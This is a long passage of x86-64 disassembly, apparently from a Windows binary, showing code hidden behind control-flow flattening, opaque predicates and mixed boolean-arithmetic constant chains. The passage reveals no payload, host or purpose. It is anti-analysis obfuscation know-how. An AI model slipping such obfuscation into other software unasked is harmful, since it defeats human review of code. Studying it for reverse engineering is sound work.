not edx
mov eax, edx
and eax, 0x5400020a
and ecx, 0x80c0e190
or ecx, eax
mov ebp, ecx
xor ebp, 0x8040c180
xor ecx, 0x7a13022b
or edx, 0xd4c0e39a
mov eax, edx
not eax
and ecx, 0x7a93223b
and ebp, 0x8440c180
or ebp, ecx
and edx, 0x7a93223b
and eax, 0x12c1c44
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x2b3f1c65
and eax, 0xd4c0e39a
or eax, ecx
setne r9b
sete r10b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl al
xor dl, al
and dl, al
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r10b
and cl, r9b
or cl, dl
mov edx, eax
or dl, r10b
xor al, r10b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xbfb6ecca
mov ebp, 0xaedb5951
jmp 0x140151979
cmp ecx, 0xd86a6b7d
jg 0x140154c71
cmp ecx, 0xd8394be3
je 0x140158d67
cmp ecx, 0xd853069c
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x1530a014
mov edx, ebx
xor edx, 0x1530a014
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xeacf5fea
and edx, 0x1530a015
or edx, ebp
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x4bea2690
and ebp, 0xb415d96f
or ebp, edi
or edx, ebx
and ebx, 0x4bea2690
and ecx, 0xb415d96f
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg dl
mov ebx, edx
xor bl, cl
xor bl, 1
or dl, bl
mov eax, edx
not al
and bl, cl
xor cl, r8b
and cl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor cl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x4db455a3
mov ebp, 0xe8ddbb41
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0x4db455a3
jmp 0x14015c0d8
cmp ecx, 0x6fe471c
jg 0x140154e77
cmp ecx, 0x4e22823
je 0x140158ea4
cmp ecx, 0x6dccf9b
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x1180cc19
and ebp, 0xee7f33e6
or ebp, edi
or eax, ebx
and ebx, 0x1180cc19
and edx, 0xee7f33e6
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
xor edx, 1
and edx, eax
mov ebp, eax
not ebp
and ebp, 0xfffffffe
and eax, 1
or eax, ebp
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and eax, 0x1f37dd45
and edx, 0xe0c822ba
or edx, eax
mov eax, edx
xor eax, 0xd311d41
xor edx, 0xe0c0002a
and edx, 0xf2c6c02e
and eax, 0xd393fd1
or eax, edx
xor eax, 0xd393fd1
cmp eax, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ecx, r10d
xor cl, al
and cl, r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov r11d, ecx
xor r11b, 1
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
and cl, r11b
mov esi, edx
xor sil, 1
mov ebx, esi
and bl, dl
mov edi, r11d
and dil, cl
xor cl, r11b
or cl, dil
xor sil, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, sil
xor bl, cl
or r10b, r9b
xor r10b, 1
xor al, r8b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, bl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xeb00a226
mov ebp, 0xcd7cb018
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xeb00a226
jmp 0x14015c0d8
cmp ecx, 0x4ba250c8
jg 0x140154f9f
cmp ecx, 0x4a0ecdf0
je 0x140159043
cmp ecx, 0x4a734d0c
jne 0x14014d700
mov ecx, 0x8c0e2104
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x249232e3
jg 0x1401550f9
cmp ecx, 0x21cb906a
je 0x1401591a0
cmp ecx, 0x220ccdad
jne 0x14014d700
mov ecx, 0x6dccf9b
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x73975b11
jg 0x1401552aa
cmp ecx, 0x7176a0b8
je 0x1401592e9
cmp ecx, 0x7382506d
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb37f641b
and edx, 0x4c809be4
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb2631456
and edx, 0x4d9ceba9
or edx, ecx
mov ebp, edx
xor ebp, 0xfee38fb2
mov ebx, edx
xor ebx, 0xfee38fb3
and ebx, ebp
xor edx, 0x1106045
and edx, 0x61f3e277
and ebp, 0x9e0c1d88
or ebp, edx
mov edx, ebp
xor edx, 0x18001881
mov ecx, ebx
not ecx
xor ebp, 0x61f3e276
mov edi, ecx
and edi, 0x865f653c
and ebx, 0x79a09ac3
or ebx, edi
or ecx, ebp
and ebp, 0x865f653c
and edx, 0x79a09ac3
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x8072be35
and ebp, 0x7f8d41ca
or ebp, edi
or ecx, ebx
and ebx, 0x8072be35
and edx, 0x7f8d41ca
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf782bf1d
and ecx, 0x87d40e2
or ecx, edx
xor ecx, 0x87d40e2
cmp ecx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x466f3439
mov ebp, 0xdc9f540b
cmovne ecx, ebp
test dl, dl
mov edx, ecx
mov ebp, 0x466f3439
cmovne edx, ebp
test al, 1
cmovne edx, ecx
jmp 0x14015a76d
cmp ecx, 0xb0f6a472
je 0x14015939a
cmp ecx, 0xb17f3543
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x7bac9304
mov edx, edi
and edx, 0x84536cfb
or edx, ebp
mov ebp, edx
xor ebp, 0x80000440
xor edx, 0x10000300
mov esi, ecx
or esi, 0xd4a09740
mov ebx, esi
not ebx
or edx, 0x5200b1
and edx, 0x145203b1
and ebp, 0xc0a09440
or ebp, edx
and esi, 0x145203b1
and ebx, 0x2b0d680e
or ebx, esi
xor ebx, ebp
mov edx, ebx
not edx
and edx, 0x272e7b08
and ebx, 0xd8d184f7
or ebx, edx
mov edx, ebx
xor edx, 0x2112a6
xor ebx, 0xf38eec49
mov ebp, ebx
and ebp, 0x7ed22958
and edx, 0x812dd6a7
or edx, ebp
and edi, 0x7ed22958
and ecx, 0x812dd6a7
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne dl
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and dl, al
or al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
mov r8d, ecx
xor r8b, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and dl, r8b
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x7382506d
mov ebp, 0xd6ffe1f7
cmovne edx, ebp
test al, al
mov ecx, edx
cmovne ecx, ebp
jmp 0x140157c91
cmp ecx, 0xf5dce41f
je 0x140159530
cmp ecx, 0xf627dff8
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x4b3847b9
and ecx, 0xb4c7b846
or ecx, edx
mov edx, ecx
xor edx, 0x4b3847b9
mov ebx, ecx
xor ebx, 0xb4c7b846
mov ebp, ecx
xor ebp, 0xac7774b3
mov edi, ebp
and edi, ebx
and ebp, edx
mov edx, edi
not edx
mov esi, ebp
not esi
mov eax, edx
and eax, 0xf76fda34
and edi, 0x89025cb
or edi, eax
or edx, esi
and esi, 0xf76fda34
and ebp, 0x89025cb
or ebp, esi
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x606c8ac5
and edx, 0x9f93753a
or edx, eax
xor edx, 0x78dc4631
and ebx, 1
xor ecx, 0xb4c7b847
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x76fca80b
and ecx, 0x890357f4
or ecx, eax
xor ecx, 0x890357f4
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa558a3d3
and ecx, 0x5aa75c2c
or ecx, eax
mov eax, ecx
xor eax, 0x52210808
xor ecx, 0x21580290
and ecx, 0x29de56b4
and eax, 0xd621a94b
or eax, ecx
xor eax, 0x29de56b4
sete r9b
setne r10b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, edx
mov ecx, edx
xor cl, r10b
or dl, r10b
and r10b, bl
and al, r9b
or al, r10b
xor bl, r9b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x21cb906a
mov ebp, 0xcabd9709
cmovne ecx, ebp
test dl, 1
mov edx, 0x21cb906a
cmovne edx, ecx
test al, al
jmp 0x140155eca
cmp ecx, 0xa1b54d2a
je 0x1401596b0
cmp ecx, 0xa1d54c70
jne 0x14014d700
mov ecx, 0xb361191
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xbbe5f55b
je 0x1401596c6
cmp ecx, 0xbc864992
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x825ddf64
and ecx, 0x7da2209b
or ecx, edx
mov ebx, ecx
xor ebx, 0x2da00002
mov edx, ebp
not edx
xor ecx, 0x825ddf65
mov edi, edx
and edi, 0xd0576adc
and ebp, 0x2fa89523
or ebp, edi
or edx, ecx
and ecx, 0xd0576adc
and ebx, 0x2fa89523
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0x707760db
and ecx, 0x8f889f24
or ecx, edx
xor ecx, 0x8f889f24
setne r8b
sete r10b
cmp eax, 9
setg dl
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
xor al, r10b
mov r9d, eax
xor r9b, 1
mov ebx, edx
xor bl, r10b
and bl, dl
and r8b, cl
and dl, r10b
or dl, r8b
mov ecx, ebx
xor cl, 1
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor al, dl
or dl, r9b
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ebp, 0x7e07e000
mov ecx, 0xbbe5f55b
cmovne ebp, ecx
test al, 1
mov ecx, 0x7e07e000
cmovne ecx, ebp
jmp 0x14015ba5e
cmp ecx, 0x144c976e
je 0x140159767
cmp ecx, 0x1483da40
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x3fd53f6d
and ebp, ecx
or ecx, 0xc02ac092
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x902cb3d9
and edx, 0x2fd10c24
or edx, edi
or ecx, ebx
and ebx, 0x902cb3d9
and ebp, 0x6fd34c26
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3b9900a7
and ecx, 0xc466ff58
or ecx, edx
mov edx, ecx
xor edx, 0xfbb3c035
mov ebp, ecx
xor ebp, 0xfbb3c034
and ebp, edx
xor ecx, 0x43242
and ecx, 0x6925b272
and edx, 0x96da4d8d
or edx, ecx
xor edx, 0x96da4d8c
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5a30e0da
and edx, 0xa5cf1f25
or edx, ecx
mov ecx, edx
xor ecx, 0x848d0100
xor edx, 0x8208010
and edx, 0x29629e35
and ecx, 0xd69d61ca
or ecx, edx
mov edx, ecx
xor edx, 0x1400805
xor ecx, 0xd69d61ca
mov ebp, ecx
and ebp, 0xfaabd6f8
and edx, 0x5542907
or edx, ebp
xor edx, 0x5542907
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
mov r10d, ebx
xor r10b, r8b
and r10b, bl
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov eax, r10d
xor al, 1
mov r8d, ecx
xor r8b, 1
mov edx, eax
and dl, r10b
mov ebx, r8d
and bl, cl
xor al, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
xor bl, dl
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x1b3249c3
mov edx, 0xe6a72c63
cmovne eax, edx
test cl, 1
mov ecx, 0x1b3249c3
jmp 0x14015bb91
cmp ecx, 0x5b7819df
je 0x1401598bf
cmp ecx, 0x5d7f83a9
jne 0x14014d700
mov ecx, 0x16e9f163
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x3a76829e
je 0x140159a4d
cmp ecx, 0x3b244548
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xb9e7975c
and ebp, 0x461868a3
or ebp, edi
or edx, ebx
and ebx, 0xb9e7975c
and ecx, 0x461868a3
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0x5b7046a4
and edx, 0xa48fb95b
or edx, ebp
mov ebp, edx
xor ebp, 0xa400a042
xor edx, 0x5b7046a5
mov edi, ecx
and edi, 0x10ff1fb9
and ebx, 0xef00e046
or ebx, edi
or ecx, edx
and edx, 0x10ff1fb9
and ebp, 0xef00e046
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x14cd443e
and ebp, ecx
or ecx, 0xeb32bbc1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xf935a45
and edx, 0x104c043a
or edx, edi
or ecx, ebx
and ebx, 0xf935a45
and ebp, 0xf06ca5ba
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x214a2a4e
and ecx, 0xdeb5d5b1
or ecx, edx
mov edx, ecx
xor edx, 0x80681002
xor ecx, 0x31850000
and ecx, 0x7b95818d
and edx, 0x846a7e72
or edx, ecx
mov ecx, edx
xor ecx, 0x4606822
xor edx, 0x4901800d
and edx, 0xc90b965d
and ecx, 0x36f469a2
or ecx, edx
mov edx, ecx
xor edx, 0xc900160c
xor ecx, 0x20242920
and ecx, 0x202fa971
and edx, 0xdfd0568e
or edx, ecx
xor edx, 0xdfd0568e
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, r9b
mov r11d, ebx
and r11b, al
and r8b, al
and al, r9b
or al, bl
and bl, r9b
mov r10d, ebx
and r10b, r11b
xor r11b, bl
or r11b, r10b
and cl, r9b
or cl, r8b
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
not al
mov edx, r11d
xor dl, 1
and al, dl
or dl, cl
and cl, r11b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x18c3e98a
mov ebp, 0x18440b1d
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x18c3e98a
jmp 0x140159a33
cmp ecx, 0x7e6e7f74
je 0x140159a63
cmp ecx, 0x7e85c1e3
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0xac05989c
mov edx, ebx
and edx, 0x53fa6762
or edx, ecx
mov edi, edx
xor edi, 0x42706122
xor edx, 0x88000889
mov ecx, ebp
or ecx, 0x998a0ec8
and edx, 0x998a0ec9
and edi, 0x6675f136
or edi, edx
and ecx, 0x998a0ec9
xor ecx, edi
mov edi, ecx
not edi
mov edx, edi
and edx, 0x9bfa2026
and ecx, 0x6405dfd9
or ecx, edx
and ebx, 0x9bfa2026
and ebp, 0x6405dfd9
or ebp, ebx
xor ebp, ecx
not ebp
or ebp, edi
cmp ebp, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x10fa7dd
mov ebp, 0xf6bdfd96
cmovne eax, ebp
test cl, 1
mov ecx, eax
cmovne ecx, ebp
test dl, dl
jmp 0x14015c0d8
cmp ecx, 0xd99edeb2
je 0x140159a79
cmp ecx, 0xdaacea2c
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x1050a940
mov ecx, ebx
and ecx, 0x84000606
or ecx, edx
xor ecx, 0x84000606
mov edx, ebx
xor edx, 0x9450af46
and edx, ebx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xec395c88
and edx, 0x13c6a377
or edx, ecx
mov ebp, edx
xor ebp, 0x87960c30
xor edx, 0x304001cd
mov ecx, ebp
and ecx, 0x4d2bf212
and edx, 0xb2d40ded
or edx, ecx
or ebp, ebx
and ebx, 0x4d2bf212
and edi, 0xb2d40ded
or edi, ebx
xor edi, edx
not ebp
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xcf5e6762
and ebp, 0x30a1989d
or ebp, ecx
xor ebp, 0x30a1989d
sete r9b
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ebx, edx
xor dl, r8b
or r8b, al
or bl, r9b
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor bl, 1
mov edx, ebx
or dl, al
xor bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x7b53b26d
mov ebp, 0xad4bbbda
cmovne ecx, ebp
test dl, 1
mov edx, 0x7b53b26d
cmovne ecx, edx
jmp 0x14015aecd
cmp ecx, 0x88669e22
je 0x140159a8f
cmp ecx, 0x8a074688
jne 0x14014d700
mov ecx, 0xb8ee1ed8
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xcb610909
je 0x140159b8b
cmp ecx, 0xcd7cb018
jne 0x14014d700
mov ecx, 0xeb00a226
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xf8c3619a
je 0x140159d19
cmp ecx, 0xf90c98dd
jne 0x14014d700
mov ecx, 0x7f70c66a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x4229f3f3
je 0x140159de9
cmp ecx, 0x42b7afcb
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x124a8400
mov edx, ebx
and edx, 0x911230c
or edx, ecx
xor edx, 0x911230c
and ebx, 0xe4a458f3
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xc739664
and ebx, 0xf38c699b
or ebx, ecx
mov edx, ebx
xor edx, 0xe8d7ce97
mov ecx, ebx
xor ecx, 0x5002060
and ecx, 0x8555a2f6
xor ebx, 0x74806c3f
and ebx, edx
and edx, 0x7aaa5d09
or edx, ecx
mov ecx, edx
xor ecx, 0x7aaa5d09
mov edi, edx
xor edi, 0x1902005e
and edi, ecx
mov ebp, edi
not ebp
mov esi, ebx
not esi
mov eax, ebp
and eax, 0xc0d60c04
and edi, 0x3f29f3fb
or edi, eax
or ebp, esi
and esi, 0xc0d60c04
and ebx, 0x3f29f3fb
or ebx, esi
xor ebx, edi
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x63a85d56
and ebp, 0x9c57a2a9
or ebp, eax
xor edx, 0x5180b6
and edx, 0x707388b6
mov eax, ecx
and eax, 0x8f8c7749
or eax, edx
xor eax, 0x707388b7
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb5b5a05c
and ecx, 0x4a4a5fa3
or ecx, eax
mov eax, ecx
xor eax, 0x8005922
mov edx, ebp
not edx
xor ecx, 0xb5b5a05c
mov ebx, edx
and ebx, 0x42fba69d
and ebp, 0xbd045962
or ebp, ebx
or edx, ecx
and ecx, 0x42fba69d
and eax, 0xbd045962
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xaa403800
mov ecx, edx
and ecx, 0x159bc018
or ecx, eax
xor ecx, 0x159bc018
and edx, 0x402407e7
or edx, ecx
mov eax, edx
not eax
and eax, 0x402407e7
and edx, 0xbfdbf818
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x26068345
and edx, 0xd9f97cba
or edx, ecx
xor edx, 0x26068345
xor eax, edx
test eax, edx
sete r9b
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov eax, edx
xor al, cl
and dl, al
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r9d
xor cl, bl
and bl, r9b
or bl, cl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xeaea9710
mov ebp, 0xa1b54d2a
cmovne eax, ebp
test cl, 1
cmove eax, ebp
not dl
test dl, 1
mov ecx, 0xeaea9710
jmp 0x14015bf2f
cmp ecx, 0x18dd27c8
je 0x140159eee
cmp ecx, 0x1a30f5e4
jne 0x14014d700
mov ecx, 0x92cb5a17
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x646aeb18
je 0x140159f04
cmp ecx, 0x67266312
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x18810
mov ebx, eax
and ebx, 0xc60001c8
or ebx, edx
xor ebx, 0xc60001c8
and eax, 0x39fe7627
or eax, ebx
mov edx, eax
not edx
and edx, 0x6bfa385b
and eax, 0x9405c7a4
or eax, edx
xor eax, 0xadfbb182
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
cmp eax, 0xffffffff
sete dl
setne r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, al
and cl, bl
mov ebx, r8d
xor dl, al
and dl, al
xor al, r8b
or r8b, cl
xor r8b, 1
xor bl, cl
not bl
and bl, cl
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xaf43625d
mov ebx, 0x7adabd4b
cmovne ebp, ebx
test al, 1
mov ecx, ebp
cmovne ecx, ebx
jmp 0x14015ac43
cmp ecx, 0xa8067ff9
je 0x140159f1a
cmp ecx, 0xa9babeb5
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
mov ebp, edx
xor ebp, 0xf4a524a5
and ebp, edx
not edx
mov ebx, edx
and ebx, 0x2259a356
and esi, 0xdda65ca9
or esi, ebx
mov ebx, esi
xor ebx, 0x40a40421
xor esi, 0x20012004
or esi, 0xb5adb5a
mov edi, ebp
not edi
mov ecx, esi
and ecx, 0xbc49d3d0
and ebx, 0x40a42425
or ebx, ecx
or esi, edi
and edi, 0xbc49d3d0
and ebp, 0x43b62c2f
or ebp, edi
xor ebp, ebx
not esi
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0x1fffcf84
and esi, 0xe000307b
or esi, ebp
mov ecx, esi
xor ecx, 0x10800054
xor esi, 0x63582100
and esi, 0x677d358b
and ecx, 0x9882ca74
or ecx, esi
xor ecx, 0x9882ca74
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc26c5133
and ecx, 0x3d93aecc
or ecx, edx
xor ecx, 0x3d93aecc
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor dl, 1
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or al, bl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xefb27135
mov eax, 0x1d8b0346
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test dl, 1
mov eax, 0xefb27135
jmp 0x14015c0d8
cmp ecx, 0xeb00a226
je 0x14015a125
cmp ecx, 0xeb69e147
jne 0x14014d700
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0b0], rax
mov ecx, 0xc1f3586c
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x98a243ac
je 0x14015a24a
cmp ecx, 0x99f4e35c
jne 0x14014d700
mov ecx, 0xa527a94
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xc52fb47a
je 0x14015a338
cmp ecx, 0xc6152e77
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xdb38da72
and ebp, 0x24c7258d
or ebp, edi
or edx, ebx
and ebx, 0xdb38da72
and ecx, 0x24c7258d
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov edi, edx
not edi
